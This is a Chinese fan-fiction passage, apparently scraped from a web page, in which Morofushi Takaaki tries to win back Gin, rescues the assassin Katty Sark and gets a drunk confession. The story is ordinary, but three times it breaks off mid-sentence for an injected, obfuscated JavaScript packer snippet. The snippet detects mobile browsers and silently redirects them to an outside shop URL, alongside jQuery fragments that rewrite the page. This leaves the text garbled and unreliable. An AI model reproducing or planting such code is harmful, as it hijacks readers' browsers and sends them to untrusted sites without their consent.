伏特加明显有些不甘心,但也看出琴酒没下杀手的意思,只能郁闷地跟上了他,车子快速越过卡蒂萨克离开了。
卡蒂萨克倒在马路正中央,几次想挣扎起身却都没能挣扎起来,远远地便看到一辆车子朝这边飞速驶来。
明先生……
如果被车撞死的话,他就再也见不到明先生了。
在这一刻,求生的欲/望达到极致,卡蒂萨克猛地从地上站了起来,身体却仍摇摇晃晃。
“哧——”那辆车子一个急刹,硬生生在即将撞到卡蒂萨克前刹住了。
“喂,你没事吧?”
“这是怎么了?出车祸了吗?”
车上的两人立刻上前,紧张地询问着卡蒂萨克。
看着凑近到自己面前的年轻人,卡蒂萨克刚刚绷着的那股劲儿消散了。
他猛地朝前跌倒,被一双有力的手温柔地扶住。
“明先生……”卡蒂萨克发出最后的一声呢喃,而后意识彻底陷入了黑暗。
“怎、怎么办!小阵平!”搀扶着卡蒂萨克的萩原研二发出一声尖锐的爆鸣。
他死了,他死过去了!
“没死,他还有呼吸。”松田阵平慌忙和萩原研二一起搀扶,“小心一点,轻轻地将他扶上车,得赶紧将他送去医院才行!”
两个大男人手忙脚乱地将卡蒂萨克扶到了车子的后排躺好,这才又重新发动车子,尽可能快速又平稳地驶向最近的医院。
另一边,诸伏高明又带了新的礼物守在琴酒门口,一直等到了傍晚才等到他回来。
“琴酒,你喜欢手表吗?你觉得这个……”诸伏高明正兴高采烈举着手表朝琴酒推荐,一样东西却被琴酒丢了过来。
寒光微闪,诸伏高明伸手接住,是一把他非常眼熟的匕首。
看着匕首柄端的蓝色宝石,诸伏高明脸色一变,质问:“你将卡蒂萨克怎么了?”
才想要对诸伏高明发难的琴酒被诸伏高明的质问问愣了,半晌,他凉凉笑了,漠然道:“谁知道呢,或许死了吧。”
12.爱人
一切都糟糕透了。
刚刚斯洛克什么态度?如果不是中途接了个电话,斯洛克是不是还要和他打一架?
明明就是卡蒂萨克先来挑衅的!
琴酒目送斯洛克的车子驶远,冷着脸掏出钥匙,要开门的时候却愣住了。
门没有上锁,一拧便开了。
琴酒走了进去,一眼便见到了正坐在椅子上的金发女人。
“贝尔摩德,你怎么来了?”
“来看看你啊,小宝贝~”贝尔摩德指间夹着香烟,缓缓起身走到窗口,这会儿外面已看不到斯洛克的车子了。
琴酒脱掉自己的大衣,随手挂在衣架上,问:“是有什么任务吗?”
“没有,只是单纯来看看你,刚刚是斯洛克吗?”
“嗯。”
“他从美国回来了,你很开心吧?”
琴酒双眉紧锁,不悦地打量着贝尔摩德。
贝尔摩德朝琴酒的方向走了两步,夹着香烟的手虚搭在他的肩膀上,缓缓朝他喷吐出眼圈。
烟雾扑在脸上,琴酒却没有丝毫异样,只平静地注视着贝尔摩德。
“你也到这个年纪了啊。”贝尔摩德上下打量了琴酒一番,似乎在细细品味他健美的身材,轻声说:“想调酒的话,找我不行吗?”
“你会喜欢腐烂的苹果吗?”琴酒反问。
贝尔摩德好似受伤地捂住自己的胸口,埋怨地瞪了他一眼,
“够了,贝尔摩德,你来做什么?”琴酒不悦地警告他,并表态:“我不喜欢斯洛克,也没有喜欢的人。当然,最重要的一点,我对和你调酒没有任何兴趣。”
贝尔摩德的表情更加忧伤了。
琴酒也懒得搭理她,他到冰箱拿了些速食产品,准备加热一下凑活当晚餐。
“足够的钱、各地的房产以及在组织特殊的地位,阿阵,我必须告诉你,先生对你是抱有期待的。”贝尔摩德收敛脸上的戏谑,认真地注视着琴酒。
琴酒没有说话,“叭”地开了一罐啤酒来喝。
“先生一直将你当做继承人来培养,要真正的继承组织,就不能让自己有弱点。”贝尔摩德叮嘱着,真正地发出请求:“答应我,玩玩没关系,但不要爱上任何人。”
“你想太多了。”琴酒懒洋洋回道,又猛灌了一大口啤酒,声音极低:“我没有爱上斯洛克。”
那个可恶的、三心二意又莫名其妙的家伙,他才不会喜欢。
医院。
诸伏高明匆匆赶到,这会儿卡蒂萨克已经醒了,只是萩原研二和松田阵平硬压着没有让他出院。
邪恶的人格已经彻底隐退,卡蒂萨克小心翼翼缩在被子里面,只露出一双眼睛戒备地看着两人。
“我们不是坏人。”
“喂,是我们救了你,你那是什么态度?”
“如果你不告诉我们的话,那我们只能报警了,你身上的伤不像是车祸。”
“你是不是遭遇抢劫了?打伤你的人长什么样?”
萩原研二和松田阵平你一言我一语着,他们想尽可能得知内情,也尽可能帮助这人。
可对方却什么都不说。
姓名、年龄、被打伤的原因……总之萩原研二和松田阵平现在统统不知道,对方醒来之后就只给了他们一个号码,他们打过电话之后,对方便缄默不语,宛如一只想要将自己给藏起来的胆小鹌鹑。
偏偏吧……当两人想要报警的时候,对方的情绪便异常激动,让他们不敢轻举妄动。
“hagi,我觉得他不太对劲儿,他身上的伤明显就是被打的,却不肯说出来,会不会是家暴?”松田阵平将萩原研二拉到一旁,小声和他蛐蛐。
“如果是家暴的话,也太严重了吧?”萩原研二有些不确定,他们捡到对方的时候,这孩子看着就剩一口气了,还吐了好多好多血。
是的,孩子。
虽然无法确认对方的年龄,但仔细端详过之后,萩原研二和松田阵平一致认为,这小孩可能比他们年纪还小。
还在上学的年纪,一个人走在马路上吐血……真是要多诡异有多诡异。
就在两人盘算着要不要偷偷报个警的时候,萩原研二眼神一厉,大喝:“站住!”
松田阵平朝后看了眼,就见卡蒂萨克已经下了地,连鞋子都没穿,正蹑手蹑脚要朝外面溜。
卡蒂萨克被发现,惊慌之下加快脚步,直接朝病房外跑去。
这可将两人都吓了一跳,医生检查对方伤得可不算轻,不能剧烈运动的。
“等等!”
“别跑!”
两人立刻朝卡蒂萨克追了过去,但没追几步,两人同时停住了。
卡蒂萨克才出门便不跑了,他的头低低垂着,依赖又害怕地站在一个青年的面前,乖巧得就像是一只垂耳兔。
萩原研二立刻上前询问:“这位先生,请问你是……”
“我是这孩子的监护人,给你们添麻烦了。”诸伏高明笑着朝萩原研二打招呼,一只手摁住了卡蒂萨克的肩膀,接着半搂住了他。
卡蒂萨克也不挣扎,就乖巧地任由诸伏高明搂着。
“你是明先生!”萩原研二听出了诸伏高明的声音,他们刚刚才通过电话。
松田阵平仔细打量着诸伏高明,略有几分不满地问:“既然你是他的监护人,为什么让他一个人受了伤在外面跑?”
“大概是因为他离开我的时候并没有受伤。”诸伏高明叹了口气,手掌有一些没一下地轻轻抚摸卡蒂萨克的头发,说:“他虽然是我的弟弟,但也已经19岁了,我也没想到他出来一趟会将自己搞成这副模样。”
“你也不知道他是怎么受伤的?那我们报警吧。”萩原研二试探着诸伏高明的态度。
“不用了。”诸伏高明拒绝了。
松田阵平顿时捕捉到不对劲儿,插进口袋里的那只手已经开始拨号了。
“大家可以交个朋友,我可没有虐待他,你们不要误会了。那位,可以不要报警吗?”诸伏高明感到棘手,却又觉得欣慰,都是很好的热血青年呢。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567270|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>松田阵平索性将手机从衣服口袋里拿了出来,号码已经按齐了,只等他按下拨号键,他将手指悬停在拨号键的位置威胁着诸伏高明:“你很不对劲儿啊,我们不能让你将他带走。”
萩原研二在旁认真观察,想知道他们的真实身份。
诸伏高明缓缓叹了口气,说:“抱歉,我们身份特殊,实在不方便见警察。”
“你们是坏人?”松田阵平冷笑,反倒比坏人更像是坏人,但做的事情却又正确无比。
诸伏高明朝他眨了眨眼睛,故意说:“除了坏人,总还有其他不方便见警察的吧?”
萩原研二和松田阵平都是一怔。
其他不方便见警察的……难道是便衣?
见两人似乎意识到了,诸伏高明微笑着朝他们点了点头。
松田阵平指着卡蒂萨克问:“他难道也是……”
“嘘”,诸伏高明没让他说出来,给了他一个只可意会不可言传的眼神。
或许是因为诸伏高明给人的感觉太温暖正派了,卡蒂萨克此刻又乖乖巧巧,两人倒是完全没往他们在骗人这方面想。
松田阵平一下子便对诸伏高明没了好感,摆摆手说:“走吧走吧,浪费时间。”
“小阵平!”萩原研二瞪了松田阵平一眼,又对诸伏高明和卡蒂萨克道歉:“抱歉抱歉,我朋友性格不太好,还请见谅。”
为了确定两人的身份,萩原研二又硬是拉着诸伏高明和卡蒂萨克聊了好一会儿,甚至还互相留了联系方式,最后才放心地放走他们。
离开医院后,坐到车上,诸伏高明脸上的笑容彻底消失不见。
“明先生。”卡蒂萨克苍白着嘴唇喊他,明显心虚。
诸伏高明一边发动车子,一边将匕首拿出来还给卡蒂萨克。
“谢谢明先生。”虽然在道谢,但卡蒂萨克的脸色却更苍白了,他明白,明先生已经全都知道了。
“说说吧。”诸伏高明声音冷淡。
卡蒂萨克不敢隐瞒,小声解释:“我没有胡乱犯病,但是琴酒他伤害了明先生,他当年驱逐明先生,他是明先生的死敌,所以我才想要杀了他。”
“是你主动对琴酒发起攻击的?”
“嗯。”卡蒂萨克很后悔,但他并不后悔动手,他只后悔自己平日疏于训练,竟然打不过琴酒,无法为明先生报仇。
诸伏高明虽有所猜测,但靴子真正落地的这一刻,他还是心中一沉,疲倦地捏了捏眉心。
他之前甚至因为这件事对琴酒发火。
明明是卡蒂萨克先挑起事端,他却对着琴酒发火了。
这下可完蛋了,想也知道琴酒会有多生气。
诸伏高明叹了口气,认真地告诉卡蒂萨克:“琴酒并不是我的死敌。”
“什么?可他明明……”
“准确来说,琴酒是我的爱人。”诸伏高明语气坚定地打断了卡蒂萨克。
卡蒂萨克好像一下子被镇住了,他怔怔地看着诸伏高明,许久才喃喃自语:“爱人……是什么?”
13.道歉
对于卡蒂萨克来说,他的过去和常人截然不同。
卡蒂萨克从小没有父母,因为常年受打压,所以在很小的时候便分裂出了另一人格,那个人格嗜血又狠辣,很快被组织看中带去了训练营。
他做着最艰苦的训练,也干着组织里分配给他的脏活累活,一直到16岁被处死时遇到了诸伏高明,从那个时候开始,属于他的人生好像才真正开始。
当然,虽然他随诸伏高明了解了一些正常人该有的生活与情感,但爱情对他来说还是明显超纲了。
“爱人是基于爱情才会有的概念。”诸伏高明认真地对他解释:“我爱琴酒,喜欢琴酒,想要和琴酒在一起,所以我希望我们互为对方的爱人。”
“那我也是明先生爱人吗?”卡蒂萨克的眼睛亮了起来。
“不,这不一样。”
“可是我也很喜欢明先生,也想要和明先生一直在一起!”卡蒂萨克有些激动,琴酒可以是爱人,为什么他不可以是?
“可我们之间并不是爱情。”
“爱情又是什么?”卡蒂萨克很不明白,他喜欢明先生,明先生也喜欢他,这还不够吗?
“爱情啊,是可以抛却生死、抛却立场……”诸伏高明讲解着,却突然发现卡蒂萨克的眼睛又亮了。
他叹了口气,明白卡蒂萨克又想歪了。
“你会想要和我一起睡觉吗?”诸伏高明不得不和他进行一些成年人的话题。
“嗯嗯!”卡蒂萨克连连点头。
“那你的睡觉是怎样的?”
“我想和明先生躺在同一张床上。”
“然后呢?”
“然后就一起睡啊!”卡蒂萨克兴奋地说道。
诸伏高明苦笑,有些时候,卡蒂萨克表现得就像是一个小孩子。
“卡蒂萨克,和爱的人一起睡觉,除了一起睡之外,你还会渴望和他玩一些特殊的小游戏。”诸伏高明隐晦地告诉他。
“是讲睡前故事吗?”
“不是。”
卡蒂萨克不好意思地笑了,小声说:“我看电视剧里,有时候睡前还会玩丢枕头的游戏。”他眨眨眼睛,很期待和诸伏高明一起玩。
诸伏高明却再度叹了口气,说:“也不是哦,你还太小了,还不太懂。”
“所以明先生和我不是爱情?”卡蒂萨克不知道爱情是什么,他只觉得明先生好像要被人抢走了。
为什么和琴酒是爱情,和他就不是了?
为什么琴酒将明先生赶了出去,明先生却还是喜欢他?
他想杀了琴酒,明先生反而对他生气了?
“爱情的话题先打住吧,等你日后接触到了或许就会明白。”诸伏高明叮嘱卡蒂萨克:“总之记住一点,我和琴酒不是死敌,我不怨恨他,恰恰相反,我很喜欢他,所以你不能再去伤害他。”
“可是……”
“如果你再去伤害他,就回美国去吧。”
卡蒂萨克被吓到了,他认真观察着诸伏高明,想要从他的脸上看出开玩笑的意味,可对方却是认真的。
“不行,我不能回美国去,我不要离开明先生!我不会再对他出手了!”卡蒂萨克小心抓紧了诸伏高明的衣袖,哀求地看着他。
可这一次,诸伏高明却没有如往常般安抚他,而是冷冰冰强调:“记住你答应我的,卡蒂萨克。”
卡蒂萨克连连点头,再不敢乱来了。
距离新年越来越近了。
组织里的人开始处理年末最后的任务,琴酒也为自己做好了今年的收尾计划,贝尔摩德更是结束了在国外的拍摄,只等着过年了。
每次新年,琴酒和贝尔摩德总会去先生那里度过,按照先生的意思,他们是一家人。
清着年底的任务,琴酒时不时也会露出笑容,一家人……真是美好的词汇。
自从……那个时候开始,琴酒还以为自己没有家了,可在组织的这么多年,他却感觉自己的家又回来了。
“琴酒,是不是很累?”在琴酒任务结束后,诸伏高明主动过去和他搭话。
伏特加很生气,根本不给诸伏高明好脸色。
琴酒也冷着一张脸,似乎不想和诸伏高明聊。
“我承认,是我误会你了,我已经找你道歉好多天了,你就原谅我好不好?”诸伏高明愁得头发都要被揪光了。
这几天,他道歉、送礼物、负荆请罪甚至都来过了,还给自己后背上留了一长道的血痕,可琴酒油盐不进的,根本不搭理他。
认真严肃的、沉重忧伤的、搞怪的,凡是能试的诸伏高明都试过了,目前仍是看不见一点希望。
这次也一样,琴酒无视了诸伏高明的道歉,上车和伏特加离开了。
看着伏特加趾高气昂的模样,诸伏高明懊悔地用头撞了两下树,同样郁闷的上了车。
今日又是无功而返,自从回到霓虹之后,他还真是哪哪都不顺。
诸伏高明没回安全屋,他今日约了人,将车子停在大道上,自己钻进了一个小巷子,看看四下无人便翻进了一户人家的院墙。
进屋后,四方堂一已经在等着他了。
作为警察厅的公安卧底,诸伏高明被赶出国三年,这三年,他的联络人四方堂一是天天想、日日盼,若不是目标太大,他真想也飞去美国和诸伏高明接头。
如今再一次见到诸伏高明,四方堂一面露激动,问:“高明,怎么样?还好吧?”
“不用那么担心,那就当我出国旅游了。”诸伏高明和他开了句玩笑。
四方堂一瞪了诸伏高明一眼,出国旅游?随时可能丢掉性命的“旅游”吗?
“这三年,麻烦你看顾我弟弟了,我弟的情况还好吧?仔细算算,过了年他好像也要大学毕业了。”诸伏高明已有很久没见到景光了。
诸伏高明的父母在他12岁那年就遭遇凶杀案过世了,景光是他在这个世界上唯一的近亲,虽然之后景光被远亲接去东京生活,两兄弟也聚少离多,但两兄弟的感情向来不错。
他这么久都没消息,景光说不得要担心了。
“他还好,成绩优异,不愧是你的弟弟。”四方堂一这么多年也一直帮忙照看着。
“辛苦你了。”诸伏高明将一份优盘递给了他,这里面都是他连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575749|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜整理出的组织资料,写在优盘中的资料都是确实验证过的。
口头上,诸伏高明倒也有一份没有验证过的情报要给他。
“我见过朗姆了。”
四方堂一眼睛一亮,大鱼,那可是组织的二把手!
诸伏高明却又很快改口,道:“其实我不确定她是不是真正的朗姆,但就算不是朗姆,也肯定是他的心腹。”
诸伏高明将库拉索的样貌以及会见的地点全部和四方堂一说了,公安若是有条件的话,也可以调查一下。
“虽然无法证实,但这个消息对公安来说很重要。”四方堂一捏紧了拳头,兴奋地说:“每次看到你带回来的情报,我都觉得距离我们捣毁组织更近了一步!”
“早着呢。”诸伏高明倒并不觉得乐观。
他看着四方堂一,欲言又止。
组织的强大是方方面面的,这些年,诸伏高明越来越能理解这一点。
他们发展医学,在各行各业都有渗透,甚至大量购入房产、进入高新行业。
组织的高层们和各国的富豪称兄道弟,就算是政客也加入其中,甚至有很多诸伏高明都很熟悉的面孔。
这些事情,真是想想就让人觉得恐怖。
如果有朝一日组织真的垮了台,拔出萝卜带出泥,他们公安真的有能力将那些与组织同流合污的人全部逮捕吗?
诸伏高明目光幽邃,完全不抱希望。
“你怎么了?”四方堂一注意到诸伏高明的表情,有些忐忑地问:“是不是工作上遇到了什么困难?”
“不,没有。”
“真的?你别故意吓我,有问题就和我说,我会全力帮你。”四方堂一不是个普通的联络人,他在警察厅地位不低,只要诸伏高明不是太出圈,他总能帮下属兜底。
诸伏高明笑了笑,那种沉重好像瞬息间便荡然无存了,摆手道:“真的没问题,有问题我当然会和你说。对了,如果你真要帮我的忙,就帮我送一份毕业礼物给小景吧,他毕业的时候我肯定不方便过去,但错过也蛮可惜的。”
“好,要送什么?”
“目前还没想好,到时我寄给你。”诸伏高明本就是为了转移话题,这会儿当然拿不出来。
“好。”四方堂一不疑有他,爽快地答应了。
卧底不想暴露自己,最好不要和联络人接触太久的时间,两人彼此交换完情报便各自分开了。
诸伏高明属于卧底里面艺高人胆大的,他并没有直接回自己的安全屋,而是找可靠的情报贩子买了琴酒的情报,然后直接开车去了他所在的酒吧。
伏特加不在,诸伏高明嘴角笑容更深,端着杯酒便走到了琴酒桌边上。
“帅哥,一个人吗?一个人喝酒,是不是有点寂寞?”诸伏高明撩/骚着,就在琴酒对面坐了下来。
诸伏高明坐下了,琴酒却冷着脸站了起来。
“帅哥?”
“咔嚓”,琴酒当着诸伏高明的面捏碎了酒杯,转身便走,半个目光都不愿再给他。
诸伏高明留恋地望着他的背影,嘴里担忧地嘀咕着:“小心伤到手啊。”
14.告白
夜风一吹,那点本就轻微的醉意便彻底消散了。
“琴酒,我好像看到你的小奶狗有狗了!”
“大哥,斯洛克太过分了,他当着你的面就敢劈腿!”
“你将卡蒂萨克怎么了?”
夜晚真的很容易思绪纷乱,那些令琴酒心烦的话好像又回响在耳边。
最后,是贝尔摩德格外认真的叮嘱:“答应我,玩玩没关系,但不要爱上任何人。”
琴酒晃了晃脑袋,他才不会爱上斯洛克。
他和斯洛克之间,早从三年前就已经结束了,他亲手将斯洛克送出国,这还不够表明他的态度吗?
他是组织未来的继承人,是不会也不能谈恋爱的。
琴酒或许是真有些醉了,也可能只是单纯的心情不好,回到安全屋之后,他竟忘了睡前的训练,昏昏沉沉便躺下睡着了。
半夜,琴酒被突然响起的手机铃声惊醒。
“谁?”他的声音还有些迷糊。
而给他打电话的人声音比他还要迷糊:“唔……”
只是一声轻哼,琴酒便辨认出了对方的身份,他恨不得抽自己一巴掌,他要早看一眼号码,根本都不会接起来。
“琴酒,你在哪啊?我找不到你了。”诸伏高明的声音含含糊糊,好像醉得很厉害。
琴酒不爽地说道:“斯洛克,现在是凌晨两点,你这会儿给我打电话……”
“琴酒,我好喜欢你啊!”
想要脱口的喝斥蓦然停了。
他静静地、甚至有些不像是自己得听着对面传来诸伏高明颠来倒去的话。
“好喜欢琴酒,你知道吗?琴酒最好了,我在美国都好想他的。可我回国……他不理我,不要不理我好不好?”
琴酒仍旧沉默着,似乎已经丧失了言语的能力。
斯洛克……
可他们注定不能在一起,不管是以哪一种身份。
“想要和琴酒……和琴酒……”
“帅哥,一个人吗?”手机另一端突然传出陌生的男声。
琴酒心底一凛,快速询问:“斯洛克,你和谁在一起?”
诸伏高明却好像完全没注意到,既没有回答琴酒也没有回答陌生人,只继续说着:“你能不能喜欢我一下啊?我真的好难过……”
“帅哥,别总是打电话嘛,你这是喝多了?要不要去我家玩玩?”
糟了!
琴酒瞬间睡意全消,酒吧那种鱼目混杂的地方,自然也有不少不怀好意的“捡/尸人”,按理说斯洛克不该沦落到被人捡尸的地步,可从话里他却又能感觉到,斯洛克真的喝了不少酒。
妈的,那小子在美国待了三年,这么点最基本的安全意识都没有吗?
“斯洛克,别和他走,我现在过去接你。”琴酒一边对手机另一端的诸伏高明说着,一边已经下了地。
“嘟嘟嘟——”
手机传来了一阵忙音,被挂断了。
该死!
琴酒更加心焦,该不会是想捡尸那混蛋给他按断了吧?
琴酒立刻朝酒吧的方向驶去,千幸万幸,诸伏高明没有换酒吧,也没有被陌生男人骗走。
琴酒进门的时候,一个黄毛正对着诸伏高明动手动脚,他似乎想要将人给带走,可诸伏高明只是醉了又不是死了,稍微使点力气便让这被酒色掏空了的流氓毫无办法,所以两人还在僵持着。
琴酒怒从心头起,三步并作两步冲了过去,一把捏住了黄毛的手。
“你谁啊?”黄毛被吓了一跳,色厉内荏地朝琴酒吼:“我和我男朋友玩,你多管闲事什么?”
“砰——”
琴酒的拳头狠狠和对方的脸来了次亲密接触。
黄毛被打退好几步,踉跄着跌在地上,琴酒也扶起了趴在桌子上的诸伏高明,眼神宛如刀子般狠狠刮过黄毛,冷道:“这是我男朋友。”
黄毛吃痛地捂住鼻子,闻言也不敢再上前,呜咽着跑开了。
琴酒又看向诸伏高明,刚刚还不停挣扎的高明此刻却乖巧极了,老老实实窝在琴酒怀里不动弹。
“你这家伙,可真能给我惹事。”琴酒低低骂了声,搀扶着诸伏高明朝外面走。
到了酒吧外面,诸伏高明“嘿嘿”傻笑,看着琴酒含含糊糊地说:“男、男朋友!”
琴酒的表情顿时有些不太自然,说:“搪塞那黄毛的,少蹬鼻子上脸。”
诸伏高明却不听,再一次傻乐着重复:“男朋友!”
琴酒才要反驳,诸伏高明却探头,“啵唧”一下亲在了他的脸颊上。
琴酒瞬间被他的举动给镇住了,怔怔地看了诸伏高明好一会儿,扶着他上车为他系上了安全带。
“男朋友、男朋友……”似乎是担心琴酒不认账,就算是被绑在副驾驶上面,诸伏高明仍反反复复念叨着,锲而不舍。
真傻。
看着一直在傻乐的诸伏高明,琴酒想,就算他真的找男朋友,也绝不会找这样一个傻子。
诸伏高明做了一个美梦。
在梦中,琴酒大方承认了他们的关系,他们终于成为了彼此都承认的恋人。
醒来之后,诸伏高明却悔不当初。
为了骗过琴酒,诸伏高明的确喝了不少酒,毕竟做戏太假若是被发现肯定会被琴酒更讨厌的。
当然,他也为自己留了最后一丝理智。
那丝理智让他拒绝了黄毛,也让他对着琴酒大说情话,还让他记住了琴酒所承认的“男朋友”。
接下来,顺水推舟的,他们可以度过一个美好的夜晚,第二天冰释前嫌,恩恩爱爱。
结果……他睡着了!
诸伏高明真的是要将一口牙齿给咬碎了,那么重要的时候,他怎么能睡着呢?
错过了也不知还要等多久!
可一切都已经太迟了,他终究还是彻底错过了。
最关键的是,琴酒他根本不认账!
“什么男朋友?你做梦呢?”琴酒态度理直气壮,好像昨夜真的只是诸伏高明做得一场美梦。
诸伏高明当然不甘心,和他据理力争:“有意思吗?我都已经听到了,你说我是你的男朋友。”
琴酒鄙夷地扫了诸伏高明一眼,嘲讽:“脑子有病就去看。”
诸伏高明哑口,人怎么可以无耻到这种程度?他明明听到了,他很确定,他那时候没有睡着,那也不是他在做梦!
可那只是一句话,他根本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592788|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有录音作为证据,琴酒咬死了不承认,诸伏高明真的是一点办法都没有。
“你行!”诸伏高明朝琴酒竖起大拇指嘲讽他。
琴酒却好像没发现这是嘲讽,反而轻轻点头,不以为耻反以为荣。
最后的结局,当然是以诸伏高明被赶出门告终。
站在门外,诸伏高明仍有些不甘心地喊:“你不至于将我赶出来吧?很快就要过年了,要不要我陪你一起过?”
“不用。”
“那你陪我好不好?”
“滚!”
虽然琴酒很冷淡,但诸伏高明半点不担心,反正他可以先斩后奏,到时候人都已经跑过来了,他就不相信大过年的琴酒还会将他一个人关在门外。
有时候为了得到一些东西,人就是要学着不要脸一些。
于是,跨年夜当天,诸伏高明在琴酒安全屋门口等着他,一直等到太阳都落山了还是不见琴酒回来。
人呢?大过年的不见人影?
妄想“霸王硬上弓”的诸伏高明有些上火,摸出手机给琴酒打电话。
“琴酒,你在哪?”
“任务。”
“任务?你确定你在做任务?”诸伏高明被他冷淡的态度气到了,开玩笑,他来之前可是问过伏特加的,琴酒这几天都没有任务!
可琴酒说谎说得理直气壮,“嗯。”
“好,你任务吧,我找别人去跨年!”诸伏高明多少也有个脾气,直接挂了琴酒的电话,然后联系了诸星大和卡蒂萨克一起聚聚,他就不信,没了琴酒还跨不成年了?
装修典雅的庄园内,琴酒收起手机,眼神莫名。
“烤栗子熟了,接着!”正在用火烤栗子的贝尔摩德随手丢给琴酒一只。
琴酒下意识接住,却烫地连连倒手,最后放到了桌上。
贝尔摩德在一旁笑得前仰后合,嘲笑他:“你还真敢接啊,怎么今天笨笨的?”
琴酒翻了个白眼,对这女人无语极了。
“阿阵,你今天可多少有点心不在焉了。”一个面容慈爱的老人坐在轮椅上,他的头发已经花白了,脸上的沟壑很深,望着琴酒的眼神却很温柔,正是乌丸莲耶。
“啊?”琴酒愣了下,一时不知该怎么回答。
他朝贝尔摩德看了眼,可贝尔摩德又在烤栗子了,一点要搭救他的意思都没有。
他只能闷声解释:“没有。”
乌丸莲耶却笑了,望着琴酒有些绯红的脸温柔说道:“我是过来人了,怎么会看不出来呢?看来阿阵是有喜欢的人了。”
琴酒顿时被吓了一跳,脸色都有些苍白了,慌忙解释:“没有,我没有喜欢的人。”
“别担心,有喜欢的人没什么大不了的,我也有年轻的时候,也有经历过那种被感情左右的悸动。”乌丸莲耶微笑看着琴酒,眼神越来越柔和,语重心长道:“很多人认为,人一旦有了牵绊便等于有了弱点,我不能否认这句话的真实性。但你我也要明白,牵绊本来就是人生命中最重要的组成部分,若因此就去恐惧与他人产生连结,那和一个冷血的机器又有什么区别?”
琴酒怔怔地看着乌丸莲耶,先生讲的和贝尔摩德说的截然不同,让他有些不知所措。
15.被拉黑了
乌丸莲耶见琴酒这副模样,似乎意识到了什么。
他摆了摆手,笑着对琴酒说:“可不要去听其他人乱说什么,什么组织的继承人不能有弱点之类的,阿阵,我可不会让一个机器来继承我的组织。”
“先生,您这是在点我呢?”贝尔摩德嗔道,在火堆前朝乌丸莲耶翻了个白眼,没好气地说:“是是是,您思想先进开放,我是思维固化的老古董,这样行了吧?”
“我可不敢这样说。”乌丸莲耶立刻捂住自己的嘴巴,好像害怕贝尔摩德生气似的。
贝尔摩德“哼”了声,不理他了。
琴酒走过去将碟子里烤好的板栗端过来,贝尔摩德瞪了他一眼,提醒:“板栗难消化,先生最多吃两粒。”
“我就要吃三粒!”乌丸莲耶年纪大了,反倒总喜欢和贝尔摩德呛声。
“吃吃吃,等你积了食有你好受的!”贝尔摩德若不是个晚辈,真想过去撕他的嘴,那张嘴可真够气人的。
琴酒为乌丸莲耶剥了颗,递给他的同时寻求帮助:“先生,我不懂。”
“是哪里不懂?”乌丸莲耶接过来,他的牙齿已不行了,便小心地一点点磨着,尝一点板栗的甜味儿。
“您对我似乎格外宽容。”
乌丸莲耶便笑了,他一手拿着板栗仁,另一只手比了比高度,对琴酒说:“你十三岁的时候才到我胸口,现在长得却比我还要高了,我是一点一点看着你长起来的,自己家的孩子,不宽容难道还要苛待?”
乌丸莲耶一句“自己家的孩子”,一点点抚平了琴酒心底隐晦的那点尖锐,一颗心脏甚至开始雀跃。
他和先生……是家人。
“这孩子是真好骗啊。”贝尔摩德在旁没眼看地摇了摇头,又怼乌丸莲耶:“先生,你知道他好糊弄就别总糊弄他,你看他都要被你骗傻了!”
“我哪有糊弄他,总好过你,阿阵谈恋爱了不想着出谋划策也就罢了,还跑去劝他分手,是不是想阻止我抱孙子?”乌丸莲耶反怼了回去。
贝尔摩德冷笑:“由着他谈你也抱不上孙子!”
乌丸莲耶的表情顿时如天崩地裂,小心翼翼地问琴酒:“阿阵,你身体是不是有什么问题?”
“啊……”琴酒抬头望天,突然有些后悔。
不,他们果然还是最普通的上下级关系比较好,别搞什么家人了,这问题他答不来啊!
难道他要告诉一个年纪一百多岁的老人家,他养子赶潮流喜欢上了一个男的?
操!
琴酒在心底爆了粗口,该死的斯洛克,迟早弄死他!
相比起琴酒三人的温馨,另一边的跨年夜却过得刀光剑影。
卡蒂萨克和诸星大,诸伏高明的新老下属对彼此都憋着一股气,上次莫名其妙就被攻击了,诸星大自然不甘心,卡蒂萨克虽然被诸伏高明给警告了,但他也不可能喜欢诸星大。
大过年的,两人虽然没动手,却也在话里话外夹枪带棒的。
“卡蒂萨克,听说你从美国回来却打算跑去情报组?怎么又从情报组回来了?”诸星大嘲讽完又对诸伏高明说:“明先生,你可要小心了,从情报组回来的家伙说不定也沾了情报组那种阴谋家的做派,是不是真心回来的可不一定。”
“你胡说什么!倒是你,连个代号都没有,有什么资格上桌吃饭?”
“是明先生邀请我来的。”诸星大眨眨眼睛,故意朝诸伏高明靠近了一些,刺激着卡蒂萨克:“明先生他啊,很喜欢我呢。”
